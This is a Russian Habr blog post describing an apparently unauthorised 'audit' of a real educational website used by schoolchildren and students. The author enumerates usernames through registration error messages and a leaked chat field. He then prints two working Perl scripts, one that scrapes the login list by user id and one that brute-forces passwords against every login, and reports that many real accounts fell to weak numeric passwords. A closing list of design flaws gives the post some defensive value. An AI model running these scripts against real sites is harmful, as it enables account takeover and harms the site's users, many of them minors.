Pull to refresh

История одного аудита

Reading time 4 min
Views 2.4K
На хабре существует множество статей, посвящённых историям различных взломов, рекомендаций по генерации паролей и прочих основ информационной безопасности. Я решил внести и свою лепту, написав небольшой отчёт по исследованию одного из достаточно крупных сайтов, близкого к IT-тематике, в котором на фоне хорошей защищённости от основных методик взлома мной обнаружены совершенно банальные ошибки проектирования самой системы.

Подробнее о том, на что нужно обращать внимание при проектировании своих сайтов под катом.

Исследуем



Рассматриваемый сайт написан на ASP.NET; особых технологических изысков вроде AJAX, HTML5 или других наворотов в нем нет. Обычное меню, статичный текст. Аудитория — школьники и студенты начальных курсов.
Функционал, составляющий основу проекта, реализован отдельно через виртуальную java машину, куда мы не полезем.

Для начала заглянем в регистрацию. Вообще, использовать отдельные логин и ник — не слишком удобно, но в данном случае пользователи вводят реальные личные данные, так что добавление логина — хорошая затея, попутно усиливающая защищенность. Естественно, это имеет вес только если нельзя получить список логинов. В таком случае нам придётся перебирать не только пароли, но еще и логины. Соответственно, количество попыток входа к несуществующему логину будет достаточно большим, что может служить признаком попытки взлома.

Полазив ещё немного по сайту, я нигде не нашел открытых логинов. Их используют только для регистрации и авторизации. В голову приходит очевидная, но от этого не менее забавная мысль: отправляем через форму регистрации какой-нибудь занятый логин — получаем ошибку о том, что такой пользователь уже зарегистрирован.
Соответственно, особенно если взять достаточную базу популярных имен, можно путем парсинга сообщений об ошибке отсеять логины. Например вот тут
Конечно, получается не очень правильно, если для каждого несуществующего логина будет происходить регистрация. Уж такой значительный одновременный прирост числа пользователей будет слишком заметен.

Я попытался обойти это, изменяя содержание POST-запроса, отправляемого скрипту регистрации. В нём обнаружилась полезная уязвимость: система сначала проверяла, есть ли логин в базе, и только после этого сверяла пароли. (удивительно, что пароль и подтверждение дополнительно проверяются на совпадение еще и на сервере).
Таким образом, перебор вполне организуем в обход фактической регистрации. Что же касается капчи — она достаточно простая, чтобы не быть помехой.

Однако, простой брутфорс логинов не заслуживал бы отдельной статьи. Уже после нахождения достаточного количества уязвимостей я вовремя обнаружил в приложении чата ещё одну: в окне отправки сообщения был логин пользователя! Сложно сказать, кто и зачем туда его поместил. Видимо, когда писали систему, ФИО еще не ввели, а затем и забыли про этот отладочный вывод. Как гласит народная пословица: “Нет ничего более постоянного, чем временное.”

Анализ результатов



Нам нужна база логинов. Достать ее легко, нужно только пропарсить страницу
site/icq/?id=N для каждого пользователя

	for ($k=0;$k<$max_thread;$k++){
			thread_search();
		} 
	$cv->recv;

	sub thread_search{
	  my $url = "http://site/icq/?user=".$i; 
	    http_get $url, sub {
	    my ($body, $hdr) = @_;	 
			
	    if ($hdr->{Status} =~ /^2/) {	
	      if ($body =~ /<TITLE>(.*) "/){
	        print OUTPUT $1.",$i\n";
	      }	
	    } else {						
	      print OUTPUT $url." error, ".$hdr->{Status}." ".$hdr->{Reason}."\n";
	    } 
	    $i++;
	    if ($i>$MAX){
	      $cv->send;
	    }
	    else{
	      thread_search();
	    }
	    };
	}
	


Написанное выполнилось достаточно быстро. В итоге, я получил базу, которую затем отсортировал и разделил на группы, а также построил красивую диаграмму.


А вот примеры логинов.

Непосредственно action



Так как никакой политики паролей в системе не предусмотрено, и можно ввести хоть односимвольный, обыкновенный брутфорс должен иметь успех.
В данном случае распределим пароли по потокам. Каждый поток будет перебирать один пароль для всех логинов. Это оптимально т.к. пароли на подобных ресурсах обычно используются довольно простые.

#!/usr/bin/perl
  
use LWP::UserAgent;
require HTTP::Request;

my $pass = $ARGV[0];
 
open(OUTPUT,'+>out'.$pass.'.txt'); 
open(INPUT,'<lof.txt');  
while (<INPUT>)
{
	my $l = $_;
	chop $l;  
	my $ua  = new LWP::UserAgent;
	$ua->agent("Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1");
	$form = "lgn=$l&password=$pass";

	my $request = HTTP::Request->new(POST => 'http://site/');
	$request->content($form);
	$request->content_type('application/x-www-form-urlencoded');
	my $response = $ua->request($request);
	my $co = $response->header("Set-Cookie");
print $co."\n";
}


Ну и немного результатов брутфорса. Я не стал перебирать всех пользователей так как не было особого интереса. Однако даже на малой фокус-группе нашлось очень много пользователей с цифровыми паролями, паролями qweqwe, qwerty и прочими подобными.
Кстати пароль qwerty имеет лишь 0,1%, тогда как различные вариации цифровых паролей от 1 до 4 символов суммарно превышают 20%.

Выводы



В список наиболее критичных недочётов ресурса, на мой взгляд, входят:

* Невнимательность (логины были доступны на сайте в открытом виде)
* Неверная последовательность проверки данных
* Слабая капча
* Бесконтрольное число попыток авторизации с любого IP
* Слабая политика паролей (нужно запрещать пользователям вводить цифровые пароли)

Ссылки по теме



UserAgent
AnyEvent
HTTP Request
threads

Спасибо за редактуру статьи klok
Tags:
Hubs:
+2
Comments 16
Comments Comments 16

Articles